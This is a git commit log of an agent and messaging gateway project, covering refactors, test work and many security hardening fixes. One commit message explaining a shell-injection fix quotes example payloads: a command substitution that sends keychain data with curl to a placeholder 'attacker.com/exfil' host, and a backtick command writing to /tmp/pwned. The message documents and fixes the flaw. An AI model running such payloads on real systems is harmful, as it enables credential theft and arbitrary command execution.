9abf86f7e0 docs(changelog): document Slack/Discord dmPolicy aliases 2026-02-14 21:04:27 +01:00
Peter Steinberger
bf76452b43 fix(doctor): migrate Slack/Discord dm.policy keys to aliases 2026-02-14 21:04:27 +01:00
Peter Steinberger
9d0a1e32bb test: cover Slack/Discord dmPolicy aliases in monitor 2026-02-14 21:04:27 +01:00
Peter Steinberger
21f0e3fa0c docs: prefer Slack/Discord dmPolicy keys 2026-02-14 21:04:27 +01:00
Peter Steinberger
47b6cde8ca refactor(config): add dmPolicy aliases for Slack/Discord 2026-02-14 21:04:27 +01:00
Bin Deng
b9d14855d0 Fix: Force dashboard command to use localhost URL (#16434)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 3c03b4cc9b
Co-authored-by: BinHPdev <219093083+BinHPdev@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 15:00:58 -05:00
Peter Steinberger
9c5404d95e refactor(test): dedupe telegram heartbeat test setup 2026-02-14 19:59:58 +00:00
Peter Steinberger
fe5cc8f3ba refactor(test): dedupe discord category handler setup 2026-02-14 19:58:20 +00:00
Peter Steinberger
2b9a501b77 refactor(test): dedupe directive behavior e2e setup 2026-02-14 19:55:10 +00:00
Peter Steinberger
994bcbf670 refactor: clarify restoreTerminalState stdin resume option 2026-02-14 20:47:00 +01:00
Peter Steinberger
e03dc987e3 chore(test): keep gateway vitest on forks 2026-02-14 20:47:00 +01:00
Peter Steinberger
5b7a33272a test: stabilize vitest mocks and harness typing 2026-02-14 20:45:05 +01:00
Peter Steinberger
e4d63818f5 fix: ignore tools.exec.pathPrepend for node hosts 2026-02-14 20:45:05 +01:00
Shadow
2fa78c17d1 Changelog: credit cron delivery fix 2026-02-14 13:37:33 -06:00
Peter Steinberger
b8b7a6e0fa refactor(test): dedupe web monitor inbox test setup 2026-02-14 19:35:00 +00:00
zerone0x
c60844931b fix(cron): prevent list/status from silently skipping recurring jobs (openclaw#16201) thanks @zerone0x
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: zerone0x <39543393+zerone0x@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-14 13:33:29 -06:00
Gustavo Madeira Santana
64b7f3455e chore: fix changelog attribution 2026-02-14 14:26:27 -05:00
Peter Steinberger
90d1e9cd71 docs(changelog): note iMessage group allowlist auth fix 2026-02-14 20:25:35 +01:00
Peter Steinberger
872079d42f fix(imessage): keep DM pairing-store identities out of group allowlist auth 2026-02-14 20:25:35 +01:00
Michael Verrilli
e6f67d5f31 fix(agent): prevent session lock deadlock on timeout during compaction (#9855)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 64a28900f1
Co-authored-by: mverrilli <816450+mverrilli@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 14:24:20 -05:00
Glucksberg
f537bd1796 fix(telegram): exclude plugin commands from setMyCommands when native=false (openclaw#15164) thanks @Glucksberg
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: Glucksberg <80581902+Glucksberg@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-14 13:22:58 -06:00
Peter Steinberger
65eefd65e1 docs: clarify node host PATH override behavior 2026-02-14 20:17:07 +01:00
Mariano
5544646a09 security: block apply_patch path traversal outside workspace (#16405)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 0fcd3f8c3a
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-14 19:11:12 +00:00
Bin Deng
4734f99108 Fix: Add type safety to models status command (#16395)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 1554137ae3
Co-authored-by: BinHPdev <219093083+BinHPdev@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 14:07:38 -05:00
Peter Steinberger
01ec81dae4 refactor(test): migrate web auto-reply tests to harness 2026-02-14 19:04:39 +00:00
Peter Steinberger
222b2d7c3c refactor(test): trim pi-embedded-runner e2e scaffolding 2026-02-14 19:04:39 +00:00
Peter Steinberger
eb594a090d refactor(test): dedupe trigger-handling e2e setup 2026-02-14 19:04:39 +00:00
Peter Steinberger
b4e406b6c4 refactor(test): share iMessage monitor test harness 2026-02-14 19:04:39 +00:00
Peter Steinberger
5faba6a48c refactor(test): reuse web auto-reply harness in more tests 2026-02-14 19:04:39 +00:00
Peter Steinberger
0e824a178a refactor(test): share runReplyAgent typing heartbeat harness 2026-02-14 19:04:39 +00:00
Peter Steinberger
4d8a4fbb48 refactor(test): share runReplyAgent memory flush harness 2026-02-14 19:04:39 +00:00
Peter Steinberger
95b077ad2a refactor(test): reuse web auto-reply harness 2026-02-14 19:04:39 +00:00
Peter Steinberger
186ecd2161 refactor(test): reuse browser control server harness 2026-02-14 19:04:39 +00:00
Peter Steinberger
03ff4960b3 refactor(test): share web auto-reply harness 2026-02-14 19:04:39 +00:00
Peter Steinberger
24d2c6292e refactor(security): refine safeBins hardening 2026-02-14 19:59:13 +01:00
Peter Steinberger
eed6113359 refactor(skills): stabilize watcher targets and include agents skills 2026-02-14 19:54:11 +01:00
Peter Steinberger
013e8f6b3b fix: harden exec PATH handling 2026-02-14 19:53:04 +01:00
Peter Steinberger
53af46ffb8 docs: note WhatsApp per-account dmPolicy override 2026-02-14 19:52:39 +01:00
Peter Steinberger
8719f381d1 test: split WhatsApp inbound access control tests 2026-02-14 19:52:39 +01:00
Peter Steinberger
743f4b2849 fix(security): harden BlueBubbles webhook auth behind proxies 2026-02-14 19:47:51 +01:00
Peter Steinberger
b1dd23f61d perf(test): mock config stack in tools invoke http tests 2026-02-14 18:46:24 +00:00
Peter Steinberger
9a01d2bba7 perf(test): use tiny fixture for browser extension install test 2026-02-14 18:46:24 +00:00
Peter Steinberger
4d4296cae5 perf(test): speed up gateway tools invoke HTTP tests 2026-02-14 18:46:24 +00:00
Peter Steinberger
12565661a3 perf(test): simplify update-check mock in update CLI tests 2026-02-14 18:46:24 +00:00
Peter Steinberger
d5a724fbee perf(test): mock chokidar in memory tests 2026-02-14 18:46:24 +00:00
Peter Steinberger
77e8a80908 chore: fix lint after compaction handler split 2026-02-14 18:46:24 +00:00
Peter Steinberger
a3c695faae perf(test): speed up compaction hook wiring tests 2026-02-14 18:46:24 +00:00
Vincent Koc
a042b32d2f fix: Docker installation keeps hanging on MacOS (#12972)
* Onboarding: avoid stdin resume after wizard finish

* Changelog: remove Docker hang entry from PR

* Terminal: make stdin resume behavior explicit at call sites

* CI: rerun format check

* Onboarding: restore terminal before cancel exit

* test(onboard): align restoreTerminalState expectation

* chore(format): align onboarding restore test with updated oxfmt config

* chore(format): enforce updated oxfmt on restore test

* chore(format): apply updated oxfmt spacing to restore test

* fix: avoid stdin resume after onboarding (#12972) (thanks @vincentkoc)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 19:46:07 +01:00
Robby
cab0abf52a fix(sessions): resolve transcript paths with explicit agent context (#16288)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 7cbe9deca9
Co-authored-by: robbyczgw-cla <239660374+robbyczgw-cla@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 13:44:51 -05:00
Peter Steinberger
77b89719d5 fix(security): block safeBins shell expansion 2026-02-14 19:44:14 +01:00
Shadow
a73ccf2b53 fix: deliver cron output to explicit targets (#16360) (thanks @rubyrunsstuff) 2026-02-14 12:43:11 -06:00
Marcus Castro
d14be8472e fix(whatsapp): honor account-level dmPolicy override (#10082) (thanks @mcaxtr)
Fixes openclaw#10082 (issue #8736): inbound WhatsApp DM policy now respects account-level dmPolicy overrides.
2026-02-14 19:41:42 +01:00
青雲
80407cbc6a fix: recompute all cron next-run times after job update (openclaw#15905) thanks @echoVic
Verified:
- pnpm check
- pnpm vitest src/cron/service.issue-regressions.test.ts src/cron/service.issue-13992-regression.test.ts

Co-authored-by: echoVic <16428813+echoVic@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-14 12:37:22 -06:00
Peter Steinberger
9409942de4 test(skills): run skills watcher test in unit suite 2026-02-14 19:26:20 +01:00
Peter Steinberger
0e046f61ab fix(skills): avoid skills watcher FD exhaustion
Watch SKILL.md only (and one-level SKILL.md in skill roots) to prevent chokidar from tracking huge unrelated trees.

Co-authored-by: household-bard <shakespeare@hessianinformatics.com>
2026-02-14 19:26:20 +01:00
Peter Steinberger
01b3226ecb fix(gateway): block node.invoke exec approvals 2026-02-14 19:22:37 +01:00
Peter Steinberger
d0f64c955e refactor(tlon): centralize Urbit request helpers 2026-02-14 19:22:29 +01:00
Christian Klotz
df7464ddf6 fix(bluebubbles): include sender identity in group chat envelopes (#16326)
* fix(bluebubbles): include sender identity in group chat envelopes

Use formatInboundEnvelope (matching iMessage/Signal pattern) so group
messages show the group label in the envelope header and include the
sender name in the message body. ConversationLabel now resolves to the
group name for groups instead of being undefined.

Fixes #16210

Co-authored-by: zerone0x <hi@trine.dev>

* fix(bluebubbles): use finalizeInboundContext and set BodyForAgent to raw text

Wrap ctxPayload with finalizeInboundContext (matching iMessage/Signal/
every other channel) so field normalization, ChatType, ConversationLabel
fallback, and MediaType alignment are applied consistently.

Change BodyForAgent from the envelope-formatted body to rawBody so the
agent prompt receives clean message text instead of the [BlueBubbles ...]
envelope wrapper.

Co-authored-by: zerone0x <hi@trine.dev>

* docs: add changelog entry for BlueBubbles group sender fix (#16326)

* fix(bluebubbles): include id in fromLabel matching formatInboundFromLabel

Align fromLabel output with the shared formatInboundFromLabel pattern:
groups get 'GroupName id:peerId', DMs get 'Name id:senderId' when the
name differs from the id. Addresses PR review feedback.

Co-authored-by: zerone0x <hi@trine.dev>

---------

Co-authored-by: zerone0x <hi@trine.dev>
2026-02-14 18:17:26 +00:00
Tak Hoffman
3369ef5aef test: add macmini low-cpu test profile 2026-02-14 12:16:23 -06:00
Peter Steinberger
4133f4bd37 refactor(tui): clarify searchable select list width layout (#16378)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: fecbade822
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-14 19:15:38 +01:00
Peter Steinberger
f19eabee54 fix(slack): gate DM slash command authorization 2026-02-14 19:10:29 +01:00
Gustavo Madeira Santana
7d4078c704 CLI: fix lazy maintenance command registration (#16374)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 29d7cca674
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 13:10:10 -05:00
Shadow
5ba72bd9bf fix: add discord exec approval channel targeting (#16051) (thanks @leonnardo) 2026-02-14 12:05:53 -06:00
Peter Steinberger
4b9cb46c6e refactor(outbound): dedupe poll threading + tighten duration semantics 2026-02-14 19:03:46 +01:00
Peter Steinberger
f47584fec8 refactor(voice-call): centralize Telnyx webhook verification 2026-02-14 19:02:10 +01:00
yinghaosang
8852250192 fix(cli): stop agents command from being unrecognized (#16267) (#16293)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: d7288f57fa
Co-authored-by: yinghaosang <261132136+yinghaosang@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 13:01:47 -05:00
Peter Steinberger
f5a4a202e5 perf(test): speed up discord proxy test 2026-02-14 17:56:39 +00:00
Peter Steinberger
240cdd3749 perf(test): speed up cron read ops test 2026-02-14 17:56:39 +00:00
Peter Steinberger
d3483590fb perf(test): stub readability in cf-markdown tests 2026-02-14 17:56:39 +00:00
Peter Steinberger
7582e93a8e perf(test): speed up raw-body reply test 2026-02-14 17:56:39 +00:00
Peter Steinberger
7cc6add9b8 test(web): add SSRF guard cases 2026-02-14 18:53:23 +01:00
Peter Steinberger
cb3290fca3 fix(node-host): enforce system.run rawCommand/argv consistency 2026-02-14 18:53:23 +01:00
Mariano
71f357d949 bluebubbles: harden local media path handling against LFI (#16322)
* bluebubbles: harden local media path handling

* bluebubbles: remove racy post-open symlink lstat

* fix: bluebubbles mediaLocalRoots docs + typing fix (#16322) (thanks @mbelinky)
2026-02-14 17:43:44 +00:00
Peter Steinberger
bfa7d21e99 fix(security): harden tlon Urbit requests against SSRF 2026-02-14 18:42:10 +01:00
Robby
5a313c83b7 fix(tui): use available terminal width for session name display (#16109) (#16238)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 19c18977e0
Co-authored-by: robbyczgw-cla <239660374+robbyczgw-cla@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-14 18:39:05 +01:00
Robby
8e5689a84d feat(telegram): add sendPoll support (#16193) (#16209)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: b58492cfed
Co-authored-by: robbyczgw-cla <239660374+robbyczgw-cla@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-14 18:34:30 +01:00
Peter Steinberger
fc5d147d1b fix(test-harness): annotate vitest mocks to avoid TS2742 2026-02-14 18:26:46 +01:00
Robby
baa3bf270b fix(webchat): filter NO_REPLY token from streaming and final replies (#16286)
The webchat channel sent NO_REPLY as visible text to clients instead
of suppressing it. Other channels (Telegram, Discord) already filter
this token via the reply dispatcher, but the webchat streaming path
bypassed this check.

Fixes #16269
2026-02-14 18:26:19 +01:00
Shadow
68b00a5388 CI: add dirty label auto-response 2026-02-14 11:22:00 -06:00
Peter Steinberger
09e2160080 test(browser): add file-chooser traversal regression 2026-02-14 18:20:20 +01:00
Peter Steinberger
29b587e73c fix(voice-call): fail closed when Telnyx webhook public key missing 2026-02-14 18:17:20 +01:00
Peter Steinberger
ff11d8793b fix(voice-call): require Twilio signature in ngrok loopback mode 2026-02-14 18:14:59 +01:00
Peter Steinberger
571c195c54 fix: support moltbot legacy state dir 2026-02-14 17:14:21 +00:00
Peter Steinberger
dee3abfcd5 refactor(test): share browser control server harness 2026-02-14 17:13:24 +00:00
Peter Steinberger
60898821f7 refactor(test): share telegram create bot harness 2026-02-14 17:13:24 +00:00
Peter Steinberger
ae97f8f798 refactor(test): share doctor e2e harness 2026-02-14 17:13:24 +00:00
Steve
69ba9a0562 fix: add memory search health check to openclaw doctor (openclaw#16294) thanks @superlowburn
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test (noted unrelated local flakes)

Co-authored-by: superlowburn <24779772+superlowburn@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-14 11:09:51 -06:00
Peter Steinberger
a3c9bc792e docs(podman): add gateway.mode=local troubleshooting note 2026-02-14 18:07:05 +01:00
Peter Steinberger
709c225b2b fix(podman): bootstrap config and token 2026-02-14 18:07:05 +01:00
Shadow
c16bc71279 fix: add discord routing debug logging (#16202) (thanks @jayleekr) 2026-02-14 11:03:30 -06:00
Peter Steinberger
054366dea4 fix(security): require explicit trust for first-time TLS pins 2026-02-14 17:55:20 +01:00
Peter Steinberger
d714ac7797 refactor(agents): dedupe transient error copy (#16324) 2026-02-14 17:49:25 +01:00
Peter Steinberger
3e6d1e9cf8 docs: update changelog 2026-02-14 17:43:44 +01:00
Vincent
478af81706 Return user-facing message if API reuturn 429 API rate limit reached #2202 (#10415)
* Return user-facing message if API reuturn 429 API rate limit reached

* clarify the error message

* fix(agents): improve 429 user messaging (#10415) (thanks @vincenthsin)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 17:40:02 +01:00
Shadow
ff32f43459 Discord: prefer gateway guild id in verbose log 2026-02-14 10:39:36 -06:00
Christoph Spörk
81b5e2766b feat(podman): add optional Podman setup and documentation (#16273)
* feat(podman): add optional Podman setup and documentation

- Introduced `setup-podman.sh` for one-time host setup of OpenClaw in a rootless Podman environment, including user creation, image building, and launch script installation.
- Added `run-openclaw-podman.sh` for running the OpenClaw gateway as a Podman container.
- Created `openclaw.podman.env` for environment variable configuration.
- Updated documentation to include Podman installation instructions and a new dedicated Podman guide.
- Added a systemd Quadlet unit for managing the OpenClaw service as a user service.

* fix: harden Podman setup and docs (#16273) (thanks @DarwinsBuddy)

* style: format cli credentials

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 17:39:06 +01:00
Robby
078642b308 fix(discord): defer component interactions to prevent timeout (#16287)
* fix(discord): defer component interactions to prevent timeout

Discord requires interaction responses within 3 seconds. Button clicks
were routed through the LLM pipeline before responding, exceeding this
window and showing 'This interaction failed' to users.

Now immediately defers the interaction, then processes the agent
response asynchronously.

Fixes #16262

* fix: harden deferred interaction replies and silent chat finals (#16287) (thanks @robbyczgw-cla)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 17:38:01 +01:00
Gustavo Madeira Santana
69f809dca3 fix: restore deterministic review workflow 2026-02-14 11:37:09 -05:00
Peter Steinberger
9236a27456 perf(test): speed up web logout tests 2026-02-14 16:36:15 +00:00
Peter Steinberger
fe2d883cf7 perf(test): remove fs skill scanning from skill-commands tests 2026-02-14 16:36:15 +00:00
Peter Steinberger
5349a0f7c2 perf(test): mock reserved commands in skill-commands tests 2026-02-14 16:36:15 +00:00
Peter Steinberger
8ff2787981 perf(test): speed up skill-commands tests 2026-02-14 16:36:15 +00:00
Peter Steinberger
94ff44f112 test: make telegram network config hermetic 2026-02-14 16:36:15 +00:00
Peter Steinberger
ebcc6480c2 perf(cli): split skills formatting 2026-02-14 16:36:15 +00:00
Peter Steinberger
f2c56de955 perf(test): speed up memory suites 2026-02-14 16:36:15 +00:00
Peter Steinberger
a7142c6218 perf(test): cache hook installer fixtures 2026-02-14 16:36:15 +00:00
Peter Steinberger
ee82c173ae perf(test): reduce web logout fs churn 2026-02-14 16:36:15 +00:00
Peter Steinberger
2b5e0a6075 perf(test): speed up memory batch + web logout 2026-02-14 16:36:15 +00:00
Peter Steinberger
76e4e9d176 perf(test): reduce skills + update + memory suite overhead 2026-02-14 16:36:15 +00:00
Peter Steinberger
684c18458a perf(test): speed up line, models list, and memory batch 2026-02-14 16:36:15 +00:00
Peter Steinberger
9fb48f4dff refactor(scripts): make run-node main testable 2026-02-14 16:36:15 +00:00
Peter Steinberger
ebc68861a6 fix: remove unused imports 2026-02-14 17:35:16 +01:00
Peter Steinberger
d3428053d9 fix: redact config values in skills status 2026-02-14 17:35:16 +01:00
Peter Steinberger
188c4cd076 fix(security): reject ambiguous webhook target matches 2026-02-14 17:28:28 +01:00
Peter Steinberger
b908388245 test(security): remove redundant cli-credentials e2e tests 2026-02-14 17:25:48 +01:00
Peter Steinberger
66d7178f2d fix(security): eliminate shell from Claude CLI keychain refresh 2026-02-14 17:24:29 +01:00
Peter Steinberger
d583782ee3 fix(security): harden discovery routing and TLS pins 2026-02-14 17:18:14 +01:00
Peter Steinberger
61d59a8028 fix(googlechat): reject ambiguous webhook routing 2026-02-14 17:11:55 +01:00
Aether AI
9dce3d8bf8 fix(security): prevent shell injection in macOS keychain credential write (#15924)
Replace execSync with execFileSync in writeClaudeCliKeychainCredentials
to prevent command injection via malicious OAuth token values (OC-28,
CWE-78, Severity: HIGH).

## Vulnerable Code

The previous implementation built a shell command via string
interpolation with single-quote escaping:

  execSync(`security add-generic-password -U -s "..." -a "..." -w '${newValue.replace(/'/g, "'\"'\"'")}'`)

The replace() call only handles literal single quotes, but /bin/sh
still interprets other shell metacharacters inside the resulting
command string.

## Attack Vector

User-controlled OAuth tokens (from a malicious OAuth provider response)
could escape single-quote protection via:
- Command substitution: $(curl attacker.com/exfil?data=$(security ...))
- Backtick expansion: `id > /tmp/pwned`

These payloads bypass the single-quote escaping because $() and
backtick substitution are processed by the shell before the quotes
are evaluated, enabling arbitrary command execution as the gateway
user.

## Fix

execFileSync spawns the security binary directly, passing arguments
as an array that is never shell-interpreted:

  execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", newValue])

This eliminates the shell injection vector entirely — no escaping
needed, the OS handles argument boundaries natively.
2026-02-14 17:06:10 +01:00
Hudson
1d6abddb9f fix(signal): outbound formatting and markdown IR rendering improvements (#9781)
* fix: Signal and markdown formatting improvements

Markdown IR fixes:
- Fix list-paragraph spacing (extra newline between list items and following paragraphs)
- Fix nested list indentation and newline handling
- Fix blockquote_close emitting redundant newline (inner content handles spacing)
- Render horizontal rules as visible ─── separator instead of silent drop
- Strip inner cell styles in code-mode tables to prevent overlapping with code_block span

Signal formatting fixes:
- Normalize URLs for dedup comparison (strip protocol, www., trailing slash)
- Render headings as bold text (headingStyle: 'bold')
- Add '> ' prefix to blockquotes for visual distinction
- Re-chunk after link expansion to respect chunk size limits

Tests:
- 51 new tests for markdown IR (spacing, lists, blockquotes, tables, HR)
- 18 new tests for Signal formatting (URL dedup, headings, blockquotes, HR, chunking)
- Update Slack nested list test expectation to match corrected IR output

* refactor: style-aware Signal text chunker

Replace indexOf-based chunk position tracking with deterministic
cursor tracking. The new splitSignalFormattedText:

- Splits at whitespace/newline boundaries within the limit
- Avoids breaking inside parentheses (preserves expanded link URLs)
- Slices style ranges at chunk boundaries with correct local offsets
- Tracks position via offset arithmetic instead of fragile indexOf

Removes dependency on chunkText from auto-reply/chunk.

Tests: 19 new tests covering style preservation across chunk boundaries,
edge cases (empty text, under limit, exact split points), and integration
with link expansion.

* fix: correct Signal style offsets with multiple link expansions

applyInsertionsToStyles() was using original coordinates for each
insertion without tracking cumulative shift from prior insertions.
This caused bold/italic/etc styles to drift to wrong text positions
when multiple markdown links expanded in a single message.

Added cumulative shift tracking and a regression test.

* test: clean up test noise and fix ineffective assertions

- Remove console.log from ir.list-spacing and ir.hr-spacing tests
- Fix ir.nested-lists.test.ts: remove ineffective regex assertion
- Fix ir.hr-spacing.test.ts: add actual assertions to edge case test

* refactor: split Signal formatting tests (#9781) (thanks @heyhudson)

---------

Co-authored-by: Hudson <258693705+hudson-rivera@users.noreply.github.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 16:57:20 +01:00
Peter Steinberger
226bf74634 docs(telegram): document allowlist id requirement 2026-02-14 16:51:59 +01:00
Peter Steinberger
3e0e78f82a fix(nostr): guard profile mutations 2026-02-14 16:51:04 +01:00
Peter Steinberger
eb60e2e1b2 fix(security): harden CLI cleanup kill and matching 2026-02-14 16:49:38 +01:00
Peter Steinberger
9e147f00b4 fix(doctor): resolve telegram allowFrom usernames 2026-02-14 16:48:07 +01:00
Peter Steinberger
50645b905b refactor(outbound): centralize outbound identity 2026-02-14 16:44:43 +01:00
Peter Steinberger
6084d13b95 fix(security): scope CLI cleanup to owned child PIDs 2026-02-14 16:43:35 +01:00
Peter Steinberger
5b4121d601 fix: harden Feishu media URL fetching (#16285) (thanks @mbelinky)
Security fix for Feishu extension media fetching.
2026-02-14 16:42:35 +01:00
Peter Steinberger
d82c5ea9d1 refactor(utils): share safe json stringify 2026-02-14 15:39:46 +00:00
Peter Steinberger
8d1a1d9e86 refactor(commands): share vllm setup 2026-02-14 15:39:46 +00:00
Peter Steinberger
64df787448 refactor(channels): share account summary helpers 2026-02-14 15:39:46 +00:00
Peter Steinberger
cc233da373 refactor(pairing): share json state helpers 2026-02-14 15:39:46 +00:00
Peter Steinberger
e9de242159 refactor(exec-approvals): share request event types 2026-02-14 15:39:46 +00:00
Peter Steinberger
bc4881ed0c refactor(memory): share stale index cleanup 2026-02-14 15:39:46 +00:00
Peter Steinberger
cdc31903c2 refactor(media-understanding): share gemini inline-data helper 2026-02-14 15:39:46 +00:00
Peter Steinberger
d1f36bfd84 refactor(cli): share windows argv normalization 2026-02-14 15:39:46 +00:00
Peter Steinberger
4caeb203a6 refactor(install): share package dir install 2026-02-14 15:39:46 +00:00
Peter Steinberger
e1e05e57cb refactor(utils): share shell argv tokenizer 2026-02-14 15:39:46 +00:00
Peter Steinberger
8218a94a31 refactor(signal): share rpc context 2026-02-14 15:39:45 +00:00
Peter Steinberger
e401e2584d refactor(auto-reply): share elevated unavailable message 2026-02-14 15:39:45 +00:00
Peter Steinberger
0dbe087ef8 refactor(pi-embedded-runner): dedupe attempt params 2026-02-14 15:39:45 +00:00
Peter Steinberger
4734c985c8 refactor(discord): share client rest helpers 2026-02-14 15:39:45 +00:00
Peter Steinberger
270779b2cd refactor(shared): derive requirements from metadata 2026-02-14 15:39:45 +00:00
Peter Steinberger
7bd073340a refactor(memory): share batch output parsing 2026-02-14 15:39:45 +00:00
Peter Steinberger
4f61a3f527 refactor(shared): centralize requirements evaluation 2026-02-14 15:39:45 +00:00
Peter Steinberger
3e2f0ca077 refactor(media-understanding): share gemini output extract 2026-02-14 15:39:45 +00:00
Peter Steinberger
747b11c83e refactor(config): share allow/deny channel policy schema 2026-02-14 15:39:45 +00:00
Peter Steinberger
268c14f021 refactor(tools): centralize default policy steps 2026-02-14 15:39:45 +00:00
Peter Steinberger
1a4fb35030 refactor(canvas-host): share static file resolver 2026-02-14 15:39:45 +00:00
Peter Steinberger
2004ce919a refactor(daemon): share schtasks exec helper 2026-02-14 15:39:45 +00:00
Peter Steinberger
3150ece95a refactor(channels): pass setup input to mutator 2026-02-14 15:39:45 +00:00
Peter Steinberger
f97ad8f288 refactor(tools): share tool policy pipeline 2026-02-14 15:39:45 +00:00
Peter Steinberger
4c74a2f06e refactor(channels): reuse setup input types 2026-02-14 15:39:45 +00:00
Peter Steinberger
9f84afc992 refactor(line): share flex footer helper 2026-02-14 15:39:45 +00:00
Peter Steinberger
a1fc6a6ea6 refactor(daemon): share runtime status formatter 2026-02-14 15:39:45 +00:00
Peter Steinberger
1b9c1c648d refactor(daemon): share service lifecycle runner 2026-02-14 15:39:45 +00:00
Peter Steinberger
ece55b4682 refactor(shared): dedupe frontmatter parsing 2026-02-14 15:39:45 +00:00
Peter Steinberger
1b03eb71aa refactor(health): share channel line styling 2026-02-14 15:39:45 +00:00
Peter Steinberger
bc0160d0f2 refactor(shared): dedupe requirements evaluation 2026-02-14 15:39:45 +00:00
Peter Steinberger
06bc9f368b refactor(nodes): share node id matcher 2026-02-14 15:39:45 +00:00
Peter Steinberger
81361755b7 refactor(reactions): share reaction level resolver 2026-02-14 15:39:45 +00:00
Peter Steinberger
b769b65b48 refactor(browser): share proxy file helpers 2026-02-14 15:39:45 +00:00
Peter Steinberger
d71f6afb7f refactor(line): centralize action helpers 2026-02-14 15:39:45 +00:00
Peter Steinberger
25ecd4216c refactor(shared): dedupe config path eval 2026-02-14 15:39:45 +00:00
Peter Steinberger
b3882eccef refactor(config): share include scan helper 2026-02-14 15:39:45 +00:00
Peter Steinberger
7fc1026746 refactor(gateway): share agent prompt builder 2026-02-14 15:39:45 +00:00
Peter Steinberger
e707a7bd36 refactor(memory): reuse runWithConcurrency 2026-02-14 15:39:44 +00:00
Peter Steinberger
60a7625f2a refactor(agents): share glob matcher 2026-02-14 15:39:44 +00:00
Peter Steinberger
fdc3a6a809 build(tsconfig): map plugin-sdk account-id 2026-02-14 15:39:44 +00:00
Peter Steinberger
50a6e0e69e fix: strip leading empty lines in sanitizeUserFacingText (#16280)
* fix: strip leading empty lines in sanitizeUserFacingText (#16158) (thanks @mcinteerj)

* fix: strip leading empty lines in sanitizeUserFacingText (#16158) (thanks @mcinteerj)

* fix: strip leading empty lines in sanitizeUserFacingText (#16158) (thanks @mcinteerj)
2026-02-14 16:34:02 +01:00
Andres G. Aragoneses
aa1dbd34a1 docs: fix typo p-coding-agent -> pi-coding-agent 2026-02-14 16:30:48 +01:00
Jake
3881af5b37 fix: strip leading whitespace from sanitizeUserFacingText output (#16158)
* fix: strip leading whitespace from sanitizeUserFacingText output

LLM responses frequently begin with \n\n, which survives through
sanitizeUserFacingText and reaches the channel as visible blank lines.

Root cause: the function used trimmed text for empty-checks but returned
the untrimmed 'stripped' variable. Two one-line fixes:
1. Return empty string (not whitespace-only 'stripped') for blank input
2. Apply trimStart() to the final return value

Fixes the same issue as #8052 and #10612 but at the root cause
(sanitizeUserFacingText) rather than scattering trimStart across
multiple delivery paths.

* Changelog: note sanitizeUserFacingText whitespace normalization

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-14 09:23:05 -06:00
Peter Steinberger
e3b432e481 fix(telegram): require sender ids for allowlist auth 2026-02-14 16:09:00 +01:00
Robby
09e1cbc35d fix(cron): pass agent identity through delivery path (#16218) (#16242)
* fix(cron): pass agent identity through delivery path

Cron delivery messages now include agent identity (name, avatar) in
outbound messages. Identity fields are passed best-effort for Slack
(graceful fallback if chat:write.customize scope is missing).

Fixes #16218

* fix: fix Slack cron delivery identity (#16242) (thanks @robbyczgw-cla)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 16:08:51 +01:00
Peter Steinberger
497b060e49 refactor: simplify manifest registry duplicate detection (#16260) 2026-02-14 16:04:41 +01:00
Peter Steinberger
